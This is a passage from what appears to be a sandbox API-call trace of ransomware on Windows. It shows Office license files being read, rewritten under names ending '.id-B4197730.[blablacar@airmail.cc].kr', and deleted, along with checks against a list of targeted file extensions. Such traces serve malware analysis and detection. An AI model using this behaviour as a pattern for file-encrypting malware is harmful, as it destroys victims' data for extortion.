(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0196.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.116] lstrlenW (lpString=".doc") returned 4 [0196.116] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString=".docx") returned 5 [0196.116] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.116] lstrlenW (lpString=".pdf") returned 4 [0196.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString=".xls") returned 4 [0196.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString=".xlsx") returned 5 [0196.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.116] lstrlenW (lpString=".ppt") returned 4 [0196.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.116] lstrlenW (lpString=".zip") returned 4 [0196.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString=".rar") returned 4 [0196.116] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString=".bz2") returned 4 [0196.116] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString=".7z") returned 3 [0196.116] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.116] lstrlenW (lpString=".dbf") returned 4 [0196.116] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.116] lstrlenW (lpString=".1cd") returned 4 [0196.116] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.117] lstrlenW (lpString=".jpg") returned 4 [0196.117] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.117] lstrlenW (lpString=".doc") returned 4 [0196.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString=".docx") returned 5 [0196.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.117] lstrlenW (lpString=".pdf") returned 4 [0196.117] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString=".xls") returned 4 [0196.117] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString=".xlsx") returned 5 [0196.117] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.117] lstrlenW (lpString=".ppt") returned 4 [0196.117] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.117] lstrlenW (lpString=".zip") returned 4 [0196.117] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString=".rar") returned 4 [0196.117] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString=".bz2") returned 4 [0196.117] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString=".7z") returned 3 [0196.117] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.117] lstrlenW (lpString=".dbf") returned 4 [0196.117] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.118] lstrlenW (lpString=".1cd") returned 4 [0196.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0196.118] lstrlenW (lpString=".jpg") returned 4 [0196.118] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.251] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.251] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37 [0196.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.252] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11621) returned 1 [0196.252] CloseHandle (hObject=0x518) returned 1 [0196.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0196.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.253] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.253] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.254] GetLastError () returned 0x0 [0196.254] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d65, lpOverlapped=0x0) returned 1 [0196.261] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0196.263] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.263] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.263] SetEndOfFile (hFile=0x3c4) returned 1 [0196.263] CloseHandle (hObject=0x3c4) returned 1 [0196.263] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.263] SetEndOfFile (hFile=0x518) returned 1 [0196.266] CloseHandle (hObject=0x518) returned 1 [0196.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0196.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.267] lstrlenW (lpString=".doc") returned 4 [0196.267] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.267] lstrlenW (lpString=".docx") returned 5 [0196.267] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.267] lstrlenW (lpString=".pdf") returned 4 [0196.267] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString=".xls") returned 4 [0196.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString=".xlsx") returned 5 [0196.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.268] lstrlenW (lpString=".ppt") returned 4 [0196.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.268] lstrlenW (lpString=".zip") returned 4 [0196.268] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString=".rar") returned 4 [0196.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString=".bz2") returned 4 [0196.268] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString=".7z") returned 3 [0196.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.268] lstrlenW (lpString=".dbf") returned 4 [0196.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.268] lstrlenW (lpString=".1cd") returned 4 [0196.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.268] lstrlenW (lpString=".jpg") returned 4 [0196.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.268] lstrlenW (lpString=".doc") returned 4 [0196.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".docx") returned 5 [0196.269] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.269] lstrlenW (lpString=".pdf") returned 4 [0196.269] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".xls") returned 4 [0196.269] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".xlsx") returned 5 [0196.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.269] lstrlenW (lpString=".ppt") returned 4 [0196.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.269] lstrlenW (lpString=".zip") returned 4 [0196.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".rar") returned 4 [0196.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".bz2") returned 4 [0196.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".7z") returned 3 [0196.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.269] lstrlenW (lpString=".dbf") returned 4 [0196.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.269] lstrlenW (lpString=".1cd") returned 4 [0196.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0196.269] lstrlenW (lpString=".jpg") returned 4 [0196.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.270] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.270] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30 [0196.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.270] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10655) returned 1 [0196.271] CloseHandle (hObject=0x518) returned 1 [0196.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0196.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.271] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.271] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.272] GetLastError () returned 0x0 [0196.272] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x299f, lpOverlapped=0x0) returned 1 [0196.289] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x29a0, lpOverlapped=0x0) returned 1 [0196.290] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.291] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0196.291] SetEndOfFile (hFile=0x3c4) returned 1 [0196.291] CloseHandle (hObject=0x3c4) returned 1 [0196.291] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.291] SetEndOfFile (hFile=0x518) returned 1 [0196.295] CloseHandle (hObject=0x518) returned 1 [0196.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0196.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.297] lstrlenW (lpString=".doc") returned 4 [0196.297] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString=".docx") returned 5 [0196.297] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.297] lstrlenW (lpString=".pdf") returned 4 [0196.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString=".xls") returned 4 [0196.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString=".xlsx") returned 5 [0196.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.297] lstrlenW (lpString=".ppt") returned 4 [0196.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.297] lstrlenW (lpString=".zip") returned 4 [0196.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString=".rar") returned 4 [0196.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString=".bz2") returned 4 [0196.297] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString=".7z") returned 3 [0196.297] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.297] lstrlenW (lpString=".dbf") returned 4 [0196.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.297] lstrlenW (lpString=".1cd") returned 4 [0196.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.298] lstrlenW (lpString=".jpg") returned 4 [0196.298] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.298] lstrlenW (lpString=".doc") returned 4 [0196.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString=".docx") returned 5 [0196.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.298] lstrlenW (lpString=".pdf") returned 4 [0196.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString=".xls") returned 4 [0196.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString=".xlsx") returned 5 [0196.298] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.298] lstrlenW (lpString=".ppt") returned 4 [0196.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.298] lstrlenW (lpString=".zip") returned 4 [0196.298] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString=".rar") returned 4 [0196.298] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString=".bz2") returned 4 [0196.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.298] lstrlenW (lpString=".7z") returned 3 [0196.298] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.298] lstrlenW (lpString=".dbf") returned 4 [0196.298] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.299] lstrlenW (lpString=".1cd") returned 4 [0196.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0196.299] lstrlenW (lpString=".jpg") returned 4 [0196.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.299] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.299] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34 [0196.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.300] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11609) returned 1 [0196.300] CloseHandle (hObject=0x518) returned 1 [0196.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0196.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.300] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.300] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.301] GetLastError () returned 0x0 [0196.301] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d59, lpOverlapped=0x0) returned 1 [0196.308] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d60, lpOverlapped=0x0) returned 